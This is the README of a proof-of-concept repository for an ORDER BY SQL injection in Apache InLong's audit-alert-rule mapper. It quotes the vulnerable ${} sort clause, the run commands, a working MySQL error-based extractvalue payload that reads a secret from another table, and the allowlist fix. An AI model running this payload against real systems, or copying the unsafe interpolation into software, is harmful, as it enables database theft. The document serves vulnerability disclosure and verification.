CVE-2026-63039 — Apache InLong AuditAlertRule ORDER BY SQL injection

Runnable proof-of-concept reproducer for the SQL injection in Apache InLong's audit-alert-rule query.

The InLong manager mapper AuditAlertRuleEntityMapper.selectByCondition filters with safe MyBatis #{} parameters, but sorts with ${} string interpolation of two request fields:

<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml  (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}

orderField and orderType come from the paged request (AuditAlertRulePageRequest), so they are attacker-controlled and are concatenated verbatim into the SQL — ORDER BY SQL injection (CWE-89). This PoC injects a MySQL error-based payload into orderField and reads a secret out of an unrelated table, demonstrating arbitrary data disclosure.

Run

mvn -q -DskipTests package
docker compose up --build     # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v

Expected output on the vulnerable code path:

[1] Benign request (orderField='id', orderType='ASC'): 3 rows
      AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
      ...
[2] Malicious request (orderField = error-based payload):
      orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
      extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true

Vulnerability Summary

The fix

Apache InLong 2.4.0 validates orderField / orderType against an allowlist of known sortable columns and directions before they reach the mapper (an ORDER BY column name cannot be bound as a #{} parameter, so the sort inputs must be validated rather than parameterised).

The MyBatis mapper, entity and request pojo in this repository mirror the InLong originals so the injection sink (order by ${request.orderField} ${request.orderType}) is reproduced verbatim.

Disclaimer

This repository is published for educational and defensive purposes: to help Apache InLong users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. The payload only reads a demo secret from a local table. Do not use this material against systems you do not own or operate.